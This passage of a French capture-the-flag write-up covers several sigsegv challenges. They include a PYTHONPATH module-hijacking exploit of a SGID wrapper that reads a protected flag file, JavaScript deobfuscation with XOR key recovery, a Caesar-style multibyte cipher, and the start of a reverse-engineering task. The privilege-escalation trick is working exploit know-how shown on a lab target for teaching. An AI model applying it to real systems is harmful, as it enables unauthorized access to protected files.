-rwxr-<span class="w-grepped">s</span>r-x 1 root chall-pwned 6304 Oct 17 17:18 <span class="w-grepped">wrapper</span></span></p>
<div style="text-align: justify;">Dans cette configuration, le fichier <b>flag</b> ne peut être lu que par un membre du groupe <b>chall-pwned</b>. Un programme <b>wrapper</b> possède le bit SGID et s&rsquo;exécutera sous l&rsquo;identité du groupe <b>chall-pwned</b>. Enfin, le fichier Python suivant est fourni :</div>
<p><span class="w-code"><span class="sc1">#!/usr/bin/python2.7</span><span class="sc0"><br />
</span><span class="sc5">from</span> <span class="sc11">colors</span> <span class="sc5">import</span> <span class="sc11">colors</span><span class="sc0"><br />
</span><span class="sc5">def</span> <span class="sc9">main</span><span class="sc10">():</span><span class="sc0"><br />
</span><span class="sc5">print</span><span class="sc10">(</span><span class="sc4">&lsquo;This is an advanced hello-world&rsquo;</span><span class="sc10">)</span><span class="sc0"><br />
</span><span class="sc5">print</span><span class="sc10">(</span><span class="sc4">&lsquo;The world is more joyful with colors&rsquo;</span><span class="sc10">)</span><span class="sc0"><br />
</span><span class="sc5">print</span><span class="sc10">(</span><span class="sc4">&lsquo;So, here we are:&rsquo;</span><span class="sc10">)</span><span class="sc0"><br />
</span><span class="sc5">print</span><span class="sc10">(</span><span class="sc4">&lsquo;{}Hello-World !{}&rsquo;</span><span class="sc10">.</span><span class="sc11">format</span><span class="sc10">(</span><span class="sc11">colors</span><span class="sc10">.</span><span class="sc11">bcolors</span><span class="sc10">.</span><span class="sc11">OKBLUE</span><span class="sc10">,</span> <span class="sc11">colors</span><span class="sc10">.</span><span class="sc11">bcolors</span><span class="sc10">.</span><span class="sc11">ENDC</span><span class="sc10">))</span><span class="sc0"><br />
</span><span class="sc5">if</span> <span class="sc11">__name__</span> <span class="sc10">==</span> <span class="sc4">&lsquo;__main__&rsquo;</span><span class="sc10">:</span><span class="sc0"><br />
</span><span class="sc11">main</span><span class="sc10">()</span></span></p>
<div style="text-align: justify;">Après vérification, le package <b>colors</b> n&rsquo;existe pas sur PyPI, ce doit être un développement de l&rsquo;auteur. Pour aller observer le fichier source, il suffit d&rsquo;exécuter les commandes suivantes :</div>
<p><span class="w-code"><span class="w-user">chall</span>@<span class="w-server">4e5d88350bfc</span>:~$ <span class="w-cli">python2.7</span><br />
Python 2.7.13 (default, Nov 24 2017, 17:33:09)<br />
[GCC 6.3.0 20170516] on linux2<br />
Type « help », « copyright », « credits » or « license » for more information.<br />
&gt;&gt;&gt; <span class="w-cli">import colors</span><br />
&gt;&gt;&gt; <span class="w-cli">colors.__file__</span><br />
&lsquo;<span class="w-grepped">/usr/local/lib/python2.7/dist-packages/colors/</span>__init__.py&rsquo;</span></p>
<div style="text-align: justify;">La source du module Python est située dans le fichier <span class="w-inline-code">/usr/local/lib/python2.7/dist-packages/colors/colors.py</span> :</div>
<p><span class="w-code"><span class="sc5">class</span> <span class="sc8">bcolors</span><span class="sc10">:</span><span class="sc0"><br />
</span><span class="sc11">HEADER</span> <span class="sc10">=</span> <span class="sc4">&lsquo;\033[95m&rsquo;</span><span class="sc0"><br />
</span><span class="sc11">OKBLUE</span> <span class="sc10">=</span> <span class="sc4">&lsquo;\033[94m&rsquo;</span><span class="sc0"><br />
</span><span class="sc11">OKGREEN</span> <span class="sc10">=</span> <span class="sc4">&lsquo;\033[92m&rsquo;</span><span class="sc0"><br />
</span><span class="sc11">WARNING</span> <span class="sc10">=</span> <span class="sc4">&lsquo;\033[93m&rsquo;</span><span class="sc0"><br />
</span><span class="sc11">FAIL</span> <span class="sc10">=</span> <span class="sc4">&lsquo;\033[91m&rsquo;</span><span class="sc0"><br />
</span><span class="sc11">ENDC</span> <span class="sc10">=</span> <span class="sc4">&lsquo;\033[0m&rsquo;</span><span class="sc0"><br />
</span><span class="sc11">BOLD</span> <span class="sc10">=</span> <span class="sc4">&lsquo;\033[1m&rsquo;</span><span class="sc0"><br />
</span><span class="sc11">UNDERLINE</span> <span class="sc10">=</span> <span class="sc4">&lsquo;\033[4m&rsquo;</span></span></p>
<div style="text-align: justify;">Plutôt déroutant à première vue, puisqu&rsquo;aucun argument n&rsquo;est fourni au programme&#8230; La vulnérabilité vient peut-être alors du chargement du module. Pour cela, la <a href="https://docs.python.org/2.7/tutorial/modules.html#the-module-search-path" target="_blank" rel="noopener">documentation de Python</a> décrit très bien l&rsquo;ordre de chargement des modules.</div>
<div style="text-align: justify;">Par défaut, les modules sont chargés depuis les dossiers présents dans la variable <b>sys.path</b>, qui fonctionne de manière similaire à la variable d&rsquo;environnement <b>$PATH</b>. Cette variable est initialisée comme suit :</div>
<div style="text-align: justify;"></div>
<ul>
<li>Avec le nom du dossier contenant le script Python exécuter (les liens symboliques sont résolus)</li>
<li>Avec la variable d&rsquo;environnement <b>$PYTHONPATH</b></li>
<li>Avec le dossier d&rsquo;installation par défaut des scripts</li>
</ul>
<p>&nbsp;</p>
<div style="text-align: justify;">N&rsquo;ayant ni les droits d&rsquo;écriture dans le dossier courant ou dans le dossier par défaut, la seconde solution semble la plus adaptée. L&rsquo;utilisation d&rsquo;un binaire SUID ne supprime pas les variables d&rsquo;environnement (à l&rsquo;inverse du fonctionnement par défaut de sudo).</div>
<div style="text-align: justify;">Pour exploiter la vulnérabilité, le fichier <span class="w-inline-code">/tmp/colors.py</span> est créé :</div>
<p><span class="w-code"><span class="sc1">#!/usr/bin/python2.7</span><span class="sc0"><br />
</span><span class="sc5">print</span> <span class="sc11">open</span><span class="sc10">(</span><span class="sc4">&lsquo;/home/chall/flag&rsquo;</span><span class="sc10">,</span> <span class="sc4">&lsquo;r&rsquo;</span><span class="sc10">).</span><span class="sc11">read</span><span class="sc10">()</span></span><br />
Il est alors possible de récupérer le flag comme suit :<br />
<span class="w-code"><span class="w-user">chall</span>@<span class="w-server">4e5d88350bfc</span>:~$ <span class="w-cli">PYTHONPATH=/tmp ./wrapper</span><br />
<span class="w-grepped">sigsegv{un_flag_ici}</span><br />
Traceback (most recent call last):<br />
File « /home/chall/hello-world.py », line 3, in &lt;module&gt;<br />
from colors import colors<br />
ImportError: cannot import name colors<br />
</span></p>
<h2 style="clear: both;">Web-client : Javascript Obfusqué (par Synacktiv)</h2>
<div>
<div style="text-align: justify;">
<p><b>Description : </b>Le javascript est populaire de nos jours, serez-vous capable de retrouver le flag ?Le challenge se présente sous la forme d&rsquo;un fichier HTML qui contient un formulaire pour vérifier le flag :</p>
<div class="separator" style="clear: both; text-align: center;"><a style="margin-left: 1em; margin-right: 1em;" href="https://2.bp.blogspot.com/-RzbvmwXsFGs/W8hHKOhqWfI/AAAAAAAAAj0/vXobc1JLI2Y5eR_135WxudwUm-f9XQcRgCLcBGAs/s1600/3_1.png"><img decoding="async" src="https://2.bp.blogspot.com/-RzbvmwXsFGs/W8hHKOhqWfI/AAAAAAAAAj0/vXobc1JLI2Y5eR_135WxudwUm-f9XQcRgCLcBGAs/s1600/3_1.png" border="0" data-original-height="41" data-original-width="499" /></a></div>
<p><span class="w-code"><span class="sc1">&lt;html&gt;&lt;SCRIPT</span> <span class="sc3">LANGUAGE</span><span class="sc8">=</span><span class="sc6">« JavaScript »</span><span class="sc1">&gt;</span><span class="sc43">&lt;!&#8211;</span><span class="sc41"><br />
</span><span class="sc46">document.write</span><span class="sc50">(</span><span class="sc46">unescape</span><span class="sc50">(</span><span class="sc48">« %3C%53[..snip..]%54%3E »</span><span class="sc50">));</span><span class="sc43">//&#8211;&gt;</span><span class="sc1">&lt;/SCRIPT&gt;&lt;SCRIPT</span> <span class="sc3">LANGUAGE</span><span class="sc8">=</span><span class="sc6">« JavaScript »</span><span class="sc1">&gt;</span><span class="sc43">&lt;!&#8211;</span><span class="sc41"><br />
</span><span class="sc46">hp_d01</span><span class="sc50">(</span><span class="sc46">unescape</span><span class="sc50">(</span><span class="sc48">« %3E%23//JGCF[..snip..]%23//-JGCF//%3C »</span><span class="sc50">));</span><span class="sc43">//&#8211;&gt;</span><span class="sc1">&lt;/SCRIPT&gt;&lt;NOSCRIPT&gt;</span><span class="sc0">To display this page you need a browser with JavaScript support.</span><span class="sc1">&lt;/NOSCRIPT&gt;</span><span class="sc0"><br />
</span><span class="sc1">&lt;/html&gt;</span><span class="sc0"><br />
</span></span><br />
Il est en général possible de rencontrer deux types d&rsquo;obfuscation JavaScript :</p>
<ul>
<li>La première construit un code qui sera désobfusqué et exécuté grâce à la fonction <b>eval()</b></li>
<li>La seconde construit un code qui sera désobfusqué et exécuté en l&rsquo;ajoutant dynamiquement dans le code de la page, par exemple via <b>document.write()</b></li>
</ul>
<p>Ce challenge utilise la seconde méthode, et le code final peut donc être récupéré en utilisant l&rsquo;inspecteur HTML de Chrome / Firefox / Opera :</p>
<div class="separator" style="clear: both; text-align: center;"><a style="margin-left: 1em; margin-right: 1em;" href="https://1.bp.blogspot.com/-2ZA5mrOy7eA/W8hIxs8eBWI/AAAAAAAAAkA/pOFHhywWeksrEy6vADS6n8DAK9Ar8SulACLcBGAs/s1600/3_2.png"><img decoding="async" src="https://1.bp.blogspot.com/-2ZA5mrOy7eA/W8hIxs8eBWI/AAAAAAAAAkA/pOFHhywWeksrEy6vADS6n8DAK9Ar8SulACLcBGAs/s1600/3_2.png" border="0" data-original-height="237" data-original-width="587" /></a></div>
<p>Le code complet de la fonction JavaScript est le suivant :<br />
<span class="w-code"><span class="sc1">&lt;script</span> <span class="sc3">language</span><span class="sc8">=</span><span class="sc6">« JavaScript »</span><span class="sc1">&gt;</span><span class="sc40"><br />
</span><span class="sc47">function</span> <span class="sc46">Kod</span><span class="sc50">(</span><span class="sc46">s</span><span class="sc50">,</span> <span class="sc46">pass</span><span class="sc50">)</span> <span class="sc50">{</span><span class="sc41"><br />
</span><span class="sc47">var</span> <span class="sc46">i</span><span class="sc50">=</span><span class="sc45">0</span><span class="sc50">;</span><span class="sc41"><br />
</span><span class="sc47">var</span> <span class="sc46">BlaBla</span><span class="sc50">=</span><span class="sc48">«  »</span><span class="sc50">;</span><span class="sc41"><br />
</span><span class="sc47">for</span><span class="sc50">(</span><span class="sc46">j</span><span class="sc50">=</span><span class="sc45">0</span><span class="sc50">;</span> <span class="sc46">j</span><span class="sc50">&lt;</span><span class="sc46">s.length</span><span class="sc50">;</span> <span class="sc46">j</span><span class="sc50">++)</span> <span class="sc50">{</span><span class="sc41"><br />
</span><span class="sc46">BlaBla</span> <span class="sc50">+=</span> <span class="sc46">String.fromCharCode</span><span class="sc50">((</span><span class="sc46">pass.charCodeAt</span><span class="sc50">(</span><span class="sc46">i</span><span class="sc50">++))^(</span><span class="sc46">s.charCodeAt</span><span class="sc50">(</span><span class="sc46">j</span><span class="sc50">)));</span><span class="sc41"><br />
</span><span class="sc47">if</span> <span class="sc50">(</span><span class="sc46">i</span><span class="sc50">&gt;=</span><span class="sc46">pass.length</span><span class="sc50">)</span><span class="sc41"><br />
</span><span class="sc46">i</span><span class="sc50">=</span><span class="sc45">0</span><span class="sc50">;</span><span class="sc41"><br />
</span><span class="sc50">}</span><span class="sc41"><br />
</span><span class="sc47">return</span><span class="sc50">(</span><span class="sc46">BlaBla</span><span class="sc50">);</span><span class="sc41"><br />
</span><span class="sc50">}</span><span class="sc41"><br />
</span><span class="sc47">function</span> <span class="sc46">f</span><span class="sc50">(</span><span class="sc46">form</span><span class="sc50">){</span><span class="sc41"><br />
</span><span class="sc47">var</span> <span class="sc46">pass</span><span class="sc50">=</span><span class="sc46">document.form.pass.value</span><span class="sc50">;</span><span class="sc41"><br />
</span><span class="sc47">var</span> <span class="sc46">hash</span><span class="sc50">=</span><span class="sc45">0</span><span class="sc50">;</span><span class="sc41"><br />
</span><span class="sc47">for</span><span class="sc50">(</span><span class="sc46">j</span><span class="sc50">=</span><span class="sc45">0</span><span class="sc50">;</span> <span class="sc46">j</span><span class="sc50">&lt;</span><span class="sc46">pass.length</span><span class="sc50">;</span> <span class="sc46">j</span><span class="sc50">++){</span><span class="sc41"><br />
</span><span class="sc47">var</span> <span class="sc46">n</span><span class="sc50">=</span> <span class="sc46">pass.charCodeAt</span><span class="sc50">(</span><span class="sc46">j</span><span class="sc50">);</span><span class="sc41"><br />
</span><span class="sc46">hash</span> <span class="sc50">+=</span> <span class="sc50">((</span><span class="sc46">n</span><span class="sc50">&#8211;</span><span class="sc46">j</span><span class="sc50">+</span><span class="sc45">33</span><span class="sc50">)^</span><span class="sc45">31025</span><span class="sc50">);</span><span class="sc41"><br />
</span><span class="sc50">}</span><span class="sc41"><br />
</span><span class="sc47">if</span> <span class="sc50">(</span><span class="sc46">hash</span> <span class="sc50">==</span> <span class="sc45">529387</span><span class="sc50">)</span> <span class="sc50">{</span><span class="sc41"><br />
</span><span class="sc47">var</span> <span class="sc46">Secret</span> <span class="sc50">=</span><span class="sc48">«  »</span><span class="sc50">+</span><span class="sc48">« \x4f\x01\x13\x1e\x09\x59\x34\x09\x0b\x05\x26\x53\x31\x41\x5a\x18\x0e\x53\x1d\x15\x1c\x10\x11\x13\x5b\x06\x16\x69\x15\x29\x55\x1d\x55\x5d\x06\x1d\x0e\x1f\x0c\x14\x13\x5b\x06\x16\x69\x1e\x2a\x40\x5a\x1d\x18\x53\x19\x06\x00\x16\x02\x56\x0a\x1f\x16\x69\x07\x30\x14\x1b\x0a\x5d\x07\x1b\x08\x06\x13\x02\x56\x0b\x05\x06\x3b\x53\x33\x55\x16\x10\x19\x16\x1b\x47\x1f\x00\x47\x15\x13\x0b\x1f\x25\x16\x2b\x53\x1f\x45\x52\x1b\x1d\x0a\x1f\x5b »</span><span class="sc50">+</span><span class="sc48">«  »</span><span class="sc50">;</span><span class="sc41"><br />
</span><span class="sc47">var</span> <span class="sc46">s</span><span class="sc50">=</span><span class="sc46">Kod</span><span class="sc50">(</span><span class="sc46">Secret</span><span class="sc50">,</span> <span class="sc46">pass</span><span class="sc50">);</span><span class="sc41"><br />
</span><span class="sc46">document.write</span> <span class="sc50">(</span><span class="sc46">s</span><span class="sc50">);</span><span class="sc41"><br />
</span><span class="sc50">}</span> <span class="sc47">else</span> <span class="sc50">{</span><span class="sc41"><br />
</span><span class="sc46">alert</span> <span class="sc50">(</span><span class="sc49">&lsquo;Wrong password!&rsquo;</span><span class="sc50">);</span><span class="sc41"><br />
</span><span class="sc50">}</span><span class="sc41"><br />
</span><span class="sc50">}</span><span class="sc41"><br />
</span><span class="sc1">&lt;/script&gt;</span></span><br />
Les première analyses du code indiquent que :</p>
<ul>
<li>La fonction <b>Kod</b> consiste à réaliser une opération <b>XOR</b> entre une chaîne et une clé, cette dernière étant répétée si plus courte que la chaîne à chiffrer</li>
<li>La fonction <b>f</b> est appelée sur validation du formulaire et :
<ul>
<li>réalise une vérification sur la clé entrée dans le formulaire (variable <b>hash</b>)</li>
<li>déchiffre la variable <b>Secret</b> à l&rsquo;aide de la clé pour l&rsquo;afficher sur la page</li>
</ul>
</li>
</ul>
<div>Il s&rsquo;agit donc ici d&rsquo;un problème de cryptographie, et la première étape consiste à trouver la longueur de la clé. Bien que des analyses statistiques soient possibles, une méthode plus facile consiste à utiliser le calcul de la variable <b>hash</b> pour évaluer cette longueur.</div>
<div>Cette variable est la somme des <span class="w-inline-code">(n-j+33)^31025</span>, <b>n</b> étant le code ASCII du caractère et <b>j </b>sa position. Ces éléments sont globalement bornés autour dans l&rsquo;intervalle 30000-32000. Il est donc facile d&rsquo;approximer la longueur de la clé via Napprox = 529387 / 31000 = 17.077</div>
</div>
</div>
<p>, soit 17.</p>
<div style="text-align: justify;">Connaissant cette longueur, la variable Secret peut être présentée sous la forme suivante, qui aligne les octets du texte chiffré qui seront déchiffrés à l&rsquo;aide des mêmes octets de la clé :</div>
<p><span class="w-code"><span class="sc3">« \x4f\x01\x13\x1e\x09\x59\x34\x09\x0b\x05\x26\x53\x31\x41\x5a\x18\x0e »</span> <span class="sc10">+</span><span class="sc0"><br />
</span><span class="sc3">« \x53\x1d\x15\x1c\x10\x11\x13\x5b\x06\x16\x69\x15\x29\x55\x1d\x55\x5d »</span> <span class="sc10">+</span><span class="sc0"><br />
</span><span class="sc3">« \x06\x1d\x0e\x1f\x0c\x14\x13\x5b\x06\x16\x69\x1e\x2a\x40\x5a\x1d\x18 »</span> <span class="sc10">+</span><span class="sc0"><br />
</span><span class="sc3">« \x53\x19\x06\x00\x16\x02\x56\x0a\x1f\x16\x69\x07\x30\x14\x1b\x0a\x5d »</span> <span class="sc10">+</span><span class="sc0"><br />
</span><span class="sc3">« \x07\x1b\x08\x06\x13\x02\x56\x0b\x05\x06\x3b\x53\x33\x55\x16\x10\x19 »</span> <span class="sc10">+</span><span class="sc0"><br />
</span><span class="sc3">« \x16\x1b\x47\x1f\x00\x47\x15\x13\x0b\x1f\x25\x16\x2b\x53\x1f\x45\x52 »</span> <span class="sc10">+</span><span class="sc0"><br />
</span><span class="sc3">« \x1b\x1d\x0a\x1f\x5b »</span></span></p>
<div style="text-align: justify;">Pour traduire peu à peu le texte, il est possible d&rsquo;utiliser la technique du mot probable, qui fonctionne comme suit : on suppose qu&rsquo;un certain mot est présent (non coupé) dans l&rsquo;un des blocs. Il est alors possible d&rsquo;en déduire une portion de clé probable, et de déchiffrer les autres portions de blocs avec cette clé.</div>
<div style="text-align: justify;">Le script suivant permet de faciliter cette recherche, et d&rsquo;aboutir peu à peu à la clé finale, <span class="w-inline-code">sigsegv{jsIsE4zy}</span> :</div>
<p><span class="w-code"><span class="sc1">#!/usr/bin/python</span><span class="sc0"><br />
</span><span class="sc5">import</span> <span class="sc11">sys</span><span class="sc0"><br />
</span><span class="sc5">def</span> <span class="sc9">xor</span><span class="sc10">(</span><span class="sc11">a</span><span class="sc10">,</span> <span class="sc11">b</span><span class="sc10">):</span><span class="sc0"><br />
</span><span class="sc5">return</span> <span class="sc4"> »</span><span class="sc10">.</span><span class="sc11">join</span><span class="sc10">([</span><span class="sc11">chr</span><span class="sc10">(</span><span class="sc11">ord</span><span class="sc10">(</span><span class="sc11">c</span><span class="sc10">)^</span><span class="sc11">ord</span><span class="sc10">(</span><span class="sc11">d</span><span class="sc10">))</span> <span class="sc5">for</span> <span class="sc11">c</span><span class="sc10">,</span> <span class="sc11">d</span> <span class="sc5">in</span> <span class="sc11">zip</span><span class="sc10">(</span><span class="sc11">a</span><span class="sc10">,</span> <span class="sc11">b</span><span class="sc10">)])</span></span><br />
<span class="sc11">blocks</span> <span class="sc10">=</span> <span class="sc10">[</span><span class="sc0"><br />
</span><span class="sc4">&lsquo;\x4f\x01\x13\x1e\x09\x59\x34\x09\x0b\x05\x26\x53\x31\x41\x5a\x18\x0e&rsquo;</span><span class="sc10">,</span><span class="sc0"><br />
</span><span class="sc4">&lsquo;\x53\x1d\x15\x1c\x10\x11\x13\x5b\x06\x16\x69\x15\x29\x55\x1d\x55\x5d&rsquo;</span><span class="sc10">,</span><span class="sc0"><br />
</span><span class="sc4">&lsquo;\x06\x1d\x0e\x1f\x0c\x14\x13\x5b\x06\x16\x69\x1e\x2a\x40\x5a\x1d\x18&rsquo;</span><span class="sc10">,</span><span class="sc0"><br />
</span><span class="sc4">&lsquo;\x53\x19\x06\x00\x16\x02\x56\x0a\x1f\x16\x69\x07\x30\x14\x1b\x0a\x5d&rsquo;</span><span class="sc10">,</span><span class="sc0"><br />
</span><span class="sc4">&lsquo;\x07\x1b\x08\x06\x13\x02\x56\x0b\x05\x06\x3b\x53\x33\x55\x16\x10\x19&rsquo;</span><span class="sc10">,</span><span class="sc0"><br />
</span><span class="sc4">&lsquo;\x16\x1b\x47\x1f\x00\x47\x15\x13\x0b\x1f\x25\x16\x2b\x53\x1f\x45\x52&rsquo;</span><span class="sc10">,</span><span class="sc0"><br />
</span><span class="sc1">#&rsquo;\x1b\x1d\x0a\x1f\x5b&rsquo;</span><span class="sc0"><br />
</span><span class="sc10">]</span><span class="sc0"><br />
</span><span class="sc11">pw</span> <span class="sc10">=</span> <span class="sc11">sys</span><span class="sc10">.</span><span class="sc11">argv</span><span class="sc10">[</span><span class="sc2">1</span><span class="sc10">]</span><span class="sc0"><br />
</span><span class="sc5">for</span> <span class="sc11">b</span> <span class="sc5">in</span> <span class="sc11">blocks</span><span class="sc10">:</span><span class="sc0"><br />
</span><span class="sc5">print</span> <span class="sc4">&lsquo;[-] Ref is %s&rsquo;</span> <span class="sc10">%</span> <span class="sc11">repr</span><span class="sc10">(</span><span class="sc11">b</span><span class="sc10">)</span><span class="sc0"><br />
</span><span class="sc5">for</span> <span class="sc11">i</span> <span class="sc5">in</span> <span class="sc11">range</span><span class="sc10">(</span><span class="sc11">len</span><span class="sc10">(</span><span class="sc11">blocks</span><span class="sc10">[</span><span class="sc2">0</span><span class="sc10">])-</span><span class="sc11">len</span><span class="sc10">(</span><span class="sc11">pw</span><span class="sc10">)+</span><span class="sc2">1</span><span class="sc10">):</span><span class="sc0"><br />
</span><span class="sc5">print</span> <span class="sc4">&lsquo;[-] At pos %d&rsquo;</span> <span class="sc10">%</span> <span class="sc11">i</span><span class="sc0"><br />
</span><span class="sc11">pk</span> <span class="sc10">=</span> <span class="sc11">xor</span><span class="sc10">(</span><span class="sc11">b</span><span class="sc10">[</span><span class="sc11">i</span><span class="sc10">:],</span> <span class="sc11">pw</span><span class="sc10">)</span><span class="sc0"><br />
</span><span class="sc5">print</span> <span class="sc4">&lsquo;[-] PK = %s&rsquo;</span> <span class="sc10">%</span> <span class="sc11">repr</span><span class="sc10">(</span><span class="sc11">pk</span><span class="sc10">)</span><span class="sc0"><br />
</span><span class="sc5">for</span> <span class="sc11">b2</span> <span class="sc5">in</span> <span class="sc11">blocks</span><span class="sc10">:</span><span class="sc0"><br />
</span><span class="sc5">if</span> <span class="sc11">b</span><span class="sc10">==</span><span class="sc11">b2</span><span class="sc10">:</span><span class="sc0"><br />
</span><span class="sc5">continue</span><span class="sc0"><br />
</span><span class="sc5">print</span> <span class="sc11">xor</span><span class="sc10">(</span><span class="sc11">b2</span><span class="sc10">[</span><span class="sc11">i</span><span class="sc10">:],</span> <span class="sc11">pk</span><span class="sc10">)</span><span class="sc0"><br />
</span><span class="sc5">print</span> <span class="sc4"> »</span><span class="sc0"><br />
</span></p>
<h2>Cryptographie : Un nouveau dialecte (ShrewkRoot)</h2>
<div><b>Description :</b> Nous avons trouvé un nouveau dialecte, analysez-le pour retrouver ce qu&rsquo;il signifie:<br />
<span class="w-inline-code">ȃǹǷȃǵǷȆȋǜǑǣǤǕǗǑǓǕǣǤǠǑǣǣǙǖǑǓǙǜǕȍ</span>Avant de se lancer à l&#8217;emporte pièce, il est important de noter qu&rsquo;il s&rsquo;agit ici de caractères multi-bytes. Une méthode simple pour traduire ces derniers consiste à utiliser hexdump :</div>
<p><span class="w-code"><span class="w-user">iansus </span>@ <span class="w-server">iansus-server</span> ~/rtfm/quals/js % <span class="w-cli">echo -n ȃǹǷȃǵǷȆȋǜǑǣǤǕǗǑǓǕǣǤǠǑǣǣǙǖǑǓǙǜǕȍ | hexdump -C</span><br />
00000000 <span class="w-grepped">c8</span> 83 <span class="w-grepped">c7</span> b9 <span class="w-grepped">c7</span> b7 <span class="w-grepped">c8</span> 83 <span class="w-grepped">c7</span> b5 <span class="w-grepped">c7</span> b7 <span class="w-grepped">c8</span> 86 <span class="w-grepped">c8</span> 8b |&#8230;&#8230;&#8230;&#8230;&#8230;.|<br />
00000010 <span class="w-grepped">c7</span> 9c <span class="w-grepped">c7</span> 91 <span class="w-grepped">c7</span> a3 <span class="w-grepped">c7</span> a4 <span class="w-grepped">c7</span> 95 <span class="w-grepped">c7</span> 97 <span class="w-grepped">c7</span> 91 <span class="w-grepped">c7</span> 93 |&#8230;&#8230;&#8230;&#8230;&#8230;.|<br />
00000020 <span class="w-grepped">c7</span> 95 <span class="w-grepped">c7</span> a3 <span class="w-grepped">c7</span> a4 <span class="w-grepped">c7</span> a0 <span class="w-grepped">c7</span> 91 <span class="w-grepped">c7</span> a3 <span class="w-grepped">c7</span> a3 <span class="w-grepped">c7</span> 99 |&#8230;&#8230;&#8230;&#8230;&#8230;.|<br />
00000030 <span class="w-grepped">c7</span> 96 <span class="w-grepped">c7</span> 91 <span class="w-grepped">c7</span> 93 <span class="w-grepped">c7</span> 99 <span class="w-grepped">c7</span> 9c <span class="w-grepped">c7</span> 95 <span class="w-grepped">c8</span> 8d |&#8230;&#8230;&#8230;&#8230;..|<br />
0000003e</span><br />
On constate alors rapidement que les caractères s&rsquo;écrivent sur deux octets, et qu&rsquo;ils se présentent tous sous les forme <b>c7 xx</b> ou <b>c8 yy</b>. Par ailleurs, en supposant que le texte décodé commence par <b>sigsegv{</b>, on remarque que :</p>
<ul>
<li>La 1ère lettre (s) et la 4ème lettre (s) sont codées de manière identique (c8 83) : il s&rsquo;agit donc probablement d&rsquo;une substitution monoalphabétique</li>
<li>La 5ème lettre (e) et la 7ème lettre (g) ont respectivement pour valeur codée <b>c7 b5</b> et <b>c7 b7</b> : le décalage entre deux lettres est constant, il s&rsquo;agit probablement d&rsquo;une variante du chiffre de César</li>
</ul>
<div>Par conséquent, connaissant le clair et le chiffré pour une lettre de chaque encodage (<b>c7 xx</b> et <b>c8 yy</b>), il est facile de coder un programme qui réalisera la traduction pour nous :</div>
<div><span class="w-code"><span class="w-code"><span class="sc1">#!/usr/bin/python</span><span class="sc0"><br />
</span><span class="sc5">import</span> <span class="sc11">sys</span><span class="sc0"><br />
</span><span class="sc1"># No multibyte string in Python&#8230;</span><span class="sc0"><br />
</span><span class="sc11">s</span> <span class="sc10">=</span> <span class="sc11">sys</span><span class="sc10">.</span><span class="sc11">argv</span><span class="sc10">[</span><span class="sc2">1</span><span class="sc10">]</span><span class="sc0"><br />
</span><span class="sc1"># Compute shift from « sigsegv{&#8230;.} »</span><span class="sc0"><br />
</span><span class="sc11">dec1</span> <span class="sc10">=</span> <span class="sc11">ord</span><span class="sc10">(</span><span class="sc11">s</span><span class="sc10">[</span><span class="sc2">0</span><span class="sc10">*</span><span class="sc2">2</span><span class="sc10">+</span><span class="sc2">1</span><span class="sc10">])-</span><span class="sc11">ord</span><span class="sc10">(</span><span class="sc4">&lsquo;s&rsquo;</span><span class="sc10">)</span><span class="sc0"><br />
</span><span class="sc11">dec2</span> <span class="sc10">=</span> <span class="sc11">ord</span><span class="sc10">(</span><span class="sc11">s</span><span class="sc10">[</span><span class="sc2">1</span><span class="sc10">*</span><span class="sc2">2</span><span class="sc10">+</span><span class="sc2">1</span><span class="sc10">])-</span><span class="sc11">ord</span><span class="sc10">(</span><span class="sc4">&lsquo;i&rsquo;</span><span class="sc10">)</span></span></span><br />
<span class="w-code"><span class="w-code"><span class="sc1"># Apply unshift</span><span class="sc0"><br />
</span><span class="sc11">sol</span> <span class="sc10">=</span> <span class="sc4"> »</span><span class="sc0"><br />
</span><span class="sc5">for</span> <span class="sc11">i</span> <span class="sc5">in</span> <span class="sc11">range</span><span class="sc10">(</span><span class="sc2">0</span><span class="sc10">,</span> <span class="sc11">len</span><span class="sc10">(</span><span class="sc11">s</span><span class="sc10">),</span> <span class="sc2">2</span><span class="sc10">):</span><span class="sc0"><br />
</span><span class="sc5">if</span> <span class="sc11">ord</span><span class="sc10">(</span><span class="sc11">s</span><span class="sc10">[</span><span class="sc11">i</span><span class="sc10">])==</span><span class="sc2">0xc8</span><span class="sc10">:</span><span class="sc0"><br />
</span><span class="sc11">sol</span> <span class="sc10">+=</span> <span class="sc11">chr</span><span class="sc10">(</span><span class="sc11">ord</span><span class="sc10">(</span><span class="sc11">s</span><span class="sc10">[</span><span class="sc11">i</span><span class="sc10">+</span><span class="sc2">1</span><span class="sc10">])-</span><span class="sc11">dec1</span><span class="sc10">)</span><span class="sc0"><br />
</span><span class="sc5">else</span><span class="sc10">:</span><span class="sc0"><br />
</span><span class="sc11">sol</span> <span class="sc10">+=</span> <span class="sc11">chr</span><span class="sc10">(</span><span class="sc11">ord</span><span class="sc10">(</span><span class="sc11">s</span><span class="sc10">[</span><span class="sc11">i</span><span class="sc10">+</span><span class="sc2">1</span><span class="sc10">])-</span><span class="sc11">dec2</span><span class="sc10">)</span></span></span><br />
<span class="w-code"><span class="sc5">print</span> <span class="sc11">sol</span></span><br />
L&rsquo;exécution fournit le flag suivant : <span class="w-inline-code">sigsegv{LASTEGACESTPASSIFACILE}</span>.</p>
<h2>Reverse : antistrings (x0rz)</h2>
</div>
<div>
<p>Description : Faites-moi confiance, XOR n&rsquo;est pas la solution.</p>
<div style="text-align: justify;">Le challenge se présente sous la forme d&rsquo;un binaire ELF 64-bit <i>strippé</i>. Ce writeup utilisera <b>Cutter</b>, l&rsquo;interface graphique de <b>Radare2</b>. Les première étapes sont assez simples, puisque la fonction <b>main </b>ne possède qu&rsquo;un appel à une autre fonction :</div>
<p>&nbsp;</p>
<div class="separator" style="clear: both; text-align: center;"><a style="margin-left: 1em; margin-right: 1em;" href="https://4.bp.blogspot.com/-jcZwKYrbErg/W8iFR7piBII/AAAAAAAAAkM/7FCtPAAJrj49BoNPi7OszNMpfjz41bvmQCLcBGAs/s1600/5_1.png"><img decoding="async" src="https://4.bp.blogspot.com/-jcZwKYrbErg/W8iFR7piBII/AAAAAAAAAkM/7FCtPAAJrj49BoNPi7OszNMpfjz41bvmQCLcBGAs/s1600/5_1.png" border="0" data-original-height="166" data-original-width="445" /></a></div>
<p>&nbsp;</p>
<div class="separator" style="clear: both; text-align: justify;">Si l&rsquo;on tente d&rsquo;afficher le graphe de la fonction située à <b>0x004009e0</b>, l&rsquo;erreur suivante se produit :</div>
<div class="separator" style="clear: both; text-align: justify;"></div>
